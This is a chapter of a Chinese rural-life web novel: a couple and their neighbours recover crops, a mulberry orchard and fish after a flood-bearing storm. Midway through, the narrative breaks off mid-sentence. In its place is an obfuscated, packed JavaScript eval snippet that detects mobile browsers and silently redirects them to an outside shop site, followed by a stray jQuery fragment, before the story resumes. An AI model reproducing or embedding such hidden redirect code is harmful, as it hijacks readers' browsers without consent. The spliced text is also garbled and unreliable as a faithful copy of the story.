……
暴雨下了整夜,直至天光熹微才停歇下来,外头的天经过一夜雨水的洗礼,瓦蓝澄净,初升的太阳坠在群峰起伏间,恍然叫人生出了一种劫后余生的错觉来。
崔玉棠整夜没回来,锅里的热水也一直温着,余晚桃去后院看被摧残得不像样的菜地,心里牵挂着桑园那边的情况。
她把被吹倒的豇豆架都抱到檐角去堆着,翻腾起根活不成的豇豆株连藤拔了,藤上挂的豇豆不管长短都掐起。
至于茄子苗和白菜大概是因为底盘低,没被吹翻根子,依旧顽强活着,也算是一点安慰了,起码没全军覆没。
余晚桃抱着一大捆的豇豆去灶房里,拿簸箕摊开了晾到院里,小细柳在叮叮哐哐的加固门窗,约过了半时辰,余晚桃正打算去桑园里看看时,在外奔波一夜的崔玉棠回来了。
他神色间虽疲惫但很是高兴,手里拎着满满一桶鱼,顶着糊了满头满脸的泥巴同余晚桃说:“昨晚跟着庆叔去村里奔走帮忙,村里蚕农家的蚕舍多半都进了水,我们忙到寅时末才得歇口气。”
“过没多久,就有人来喊说洪水冲垮了村里的公家塘,大家伙都拿着网去捞鱼了,我也跟着去捞了一桶。”
余晚桃瞧他狼狈的模样没忍住笑了出来,转身去灶房里拿自家的木桶出来,把鱼倒过来:“这是借的谁家木桶?我等会去还,锅里一直温着热水,你快些去洗洗,换身干净衣裳出来吃朝食。”
崔玉棠哎了一声,说:“村长家的木桶。”,随后把夹在腋下的蓑衣斗笠挂到篱笆上晾着,自己进了灶房去舀热水。
趁着崔玉棠洗澡的功夫,余晚桃下了一碗面条,又卧了两个荷包蛋,烫了白菜苗进去铺到面汤上,最后再浇一勺菌菇辣酱。
面端上桌的功夫崔玉棠也洗好出来了。
他坐到桌前埋头吃面,长发随意散开,发梢滴着水珠,乌黑如缎带着湿润的光泽,像是才被人不走心地绞了一遍般,可见其态度之敷衍。
看他专注吃面,余晚桃说了一句“我去桑园了。”就匆匆忙的出去了。
乡间小道被雨水冲刷了整夜,变得泥泞又滑溜,稍不留神就得跌一跤,余晚桃沿着田垄慢慢走,抬头发现延绵成金色海浪般的稻田被吹倒了不少,一些村民陆陆续续地出门来检查自己的水田。
路上遇着了出来摘菜的林小秋,她愁着脸与余晚桃抱怨:“我们家不止水田里遭了殃,就连菜地都被水泡了,本来还能割一茬去卖给县里酒楼的,现在卖不出什么好价了。”
余晚桃无奈道:“我家桑园估计也好不到哪去。”
“这老天爷不给咱穷苦人活路有啥法子。”,
林小秋道:“咱出村的路都被山洪冲垮了呢,俺男人说这几日最好别出村,万一哪个山头的泥土松垮,被埋进去就完了。”
余晚桃与她走到前头,望向被水泡着只能看见菜叶尖的菜地,“不出村,那你菜地里的菜岂不是得烂掉?”
“那没办法啊。”,林小秋放下背篓,从里拿出把短柄的铁锹来,弯腰给菜地挖沟渠放水,她仰起头说:“卖不出去就留着自己吃了,等会我给你家送一捆白菜苦瓜啥的,家里有人在不?”
“二郎在家,那我先去看看桑园里的情况,再回来帮你摘菜。”
“成啊。”
余晚桃再往前走了一段,就到了自家桑园,开门进去就被眼前景象给震了个透心凉,桑树倒是挺顽强的没倒几颗,但桑叶被刮掉了不少,剩个光秃秃的杆支棱着。
好些桑叶被风卷着堆在篱笆根处,余晚桃踩着水过去,把那些新鲜的桑叶都捡起来,放缸里洗干净铺开晾到一边。
桑园里陆续来了几个蚕农,怕他们摘着湿的桑叶回去喂蚕,余晚桃忙不迭追过去,仔细叮嘱了一通才回来继续洗桑叶,没过多久小细柳就背着竹篓过来了。
余晚桃让她就在桑园盯着,等桑叶晒干水分了再抱进竹篓里,自己出了园,往林小秋的菜地去,她到的时候林小秋的婆母也来了,两人弓着腰在淤泥地里摸菜。
余晚桃脱了鞋袜,过去帮她们抢收菜。
林小秋直起腰来,问她:“你桑园那边咋样了?”
“还行,没想象中糟糕。”
“那就好,村里不少蚕农就指着你的桑园呢。”,林小秋说着兀自叹了起来,“这批大白菜是没了,再种新的下去,等入冬也活不成,今年的大白菜怕是没得吃了。”
余晚桃想到昨夜的暴雨,今年冬怕是整个县里的菜价都会涨,而且对秋收也有影响,他们家没有种稻,今年缴税只需按人丁给银子就成,但那些人口多的农户,家里田地又受了灾的,怕是会很艰难。
“秋嫂子,你要是怕冬天种菜活不成,那搭个大棚啊。”,余晚桃抱着一摞水通菜蹲到田垄边的水坑清洗淤泥。
林小秋也抱了一捆过来,两人并排蹲着洗菜:“啥大棚?”
余晚桃道:“蔬菜大棚呀,你怕天冷菜活不成,就围着菜地一圈搭棚子,四周棚顶都拿油布草垛子挡着,在棚里不经风霜雨雪的,种啥菜不成啊,而且……”
她凑近林小秋,低声道:“昨夜暴雨受灾的肯定不止我们村,这下县里的菜价定会上涨,要赶上这机会,能赚不少。”
“对啊!我咋想不到咧。”,林小秋一拍大腿,兴奋道:“那等回去就跟我男人商量一下,搭棚子啥的他在行,平时村里的牛棚猪棚都是他搭的。”
“嗯,不过你们也得仔细考量清楚,不能贪多种,万一棚子没用养不活就亏了。”,余晚桃怕她太上头,便多提醒了一句。
帮林小秋摘完菜,余晚桃要返回桑园背桑叶回家,她抬头望着升高的太阳,觉出扑面而来的风带着一股闷热,便知这天是真折腾人。
夜里狂风暴雨,白天高温暴晒。
与小细柳跑了几趟将桑叶背回来,赶着时辰喂了蚕,余晚桃把蚕舍重新清扫消毒,被风吹破的门窗那临时钉上的木板也拆开,按回纱窗,外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579814|142744||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头再加一扇木窗。
下午,林小秋送了捆水通菜和一篮子苦瓜过来,丁婶也抱了扎南瓜藤来,说是换昨天的豇豆,家里才三张嘴,根本吃不完这些,何况还有那一桶鱼没处理。
余晚桃想了想,便淘洗出几个干净的瓦罐,把自个菜地里摘回来的豇豆都用来酵酸豇豆,苦瓜留出两个,其余的切片晒干,鱼则全部杀了取出内脏拿盐渍一晚上,等明日做熏鱼干。
至于水通菜和南瓜藤没法子了,只能尽量去吃完。
于是晚间桌上就是两大海碗的清炒南瓜藤和辣椒炒水通菜,并着一碟苦瓜炒鸡蛋,一木桶蒸饭。
清炒南瓜藤清甜脆嫩,余晚桃很喜欢吃,她多吃了几筷子,结果给自己撑得紧,只能在院里来回走消食。
“后院菜地种的豇豆被我扯了,得再买些应季的菜种回来种。”
“这几天村长不让出村。”,崔玉棠抓了几片白菜叶扔进兔窝里,昨夜骤雨狂风,这两只兔子倒是顽强,活得好好的。
“秋嫂子家有不少菜种,我回头过去问问就行。”,余晚桃见他盯着兔子打量,便走了过去,“这俩兔子就养着吧,等兔子窝了崽岂不是更好卖。”
崔玉棠皱眉:“都是公兔。”
“……那爆炒兔肉?”
“还是留着卖了换鸡苗吧。”,崔玉棠侧目轻扫,端看她松懒倦怠的眉眼,因为打哈欠眼角洇出的一滴眼泪险险挂在眼睫处,鬓边散着几缕凌乱的发丝。
初见时余晚桃因为瘦弱,头发是枯干发黄的,这段时间虽忙但吃得好,养回来一些,五官在恢复气色的一张脸庞上愈发显出清秀来,杏眼圆圆的,带着蓬勃的朝气。
“我去洗漱睡觉了,明日还得去山里砍松树枝回来熏鱼。”,余晚桃忙了一日这会困得紧,恨不得直接躺倒。
崔玉棠收回视线,去帮她打热水。
鸡鸣炊烟起,山雾缭绕松竹林,草尖露水被一尾松枝惊落,打湿了相擦而过的灰色衣摆,拖出一条长长的洇痕来。
崔玉棠一人扛着大捆松树枝回来,在院里搭了木架,点燃干枝后把生松覆盖在上面,直至冒出滚滚白烟来,才将串好的鱼架上去。
余晚桃端着一碗面条坐在院里,看着他熏鱼,时不时提醒他翻面,见他最后实在忙不过来,便两口喝完面汤,走过去帮他。
“庆叔说村长在召集村里的年轻汉子去修村口被洪水冲垮的路,他这两日都不进山,让你跟着去铺路。”,余晚桃翻了鱼,将木桶里渍出来的鱼腥盐水倒出院外。
崔玉棠徒手折断了松枝扔进烟熏堆里,弯腰把散落的松针一齐扫进去,他点了点头,说:“那我晚些去找庆叔。”
余晚桃道:“庆叔是在带你融入大桑村这个集体,在村里生活,总要和村民们相处的。”
“我知道的。”,崔玉棠笑了下,漂亮的眉眼倏地绽开,嗓音温柔:“阿桃,谢谢你。”
余晚桃闻言瞥他一眼:“该给鱼翻面了。”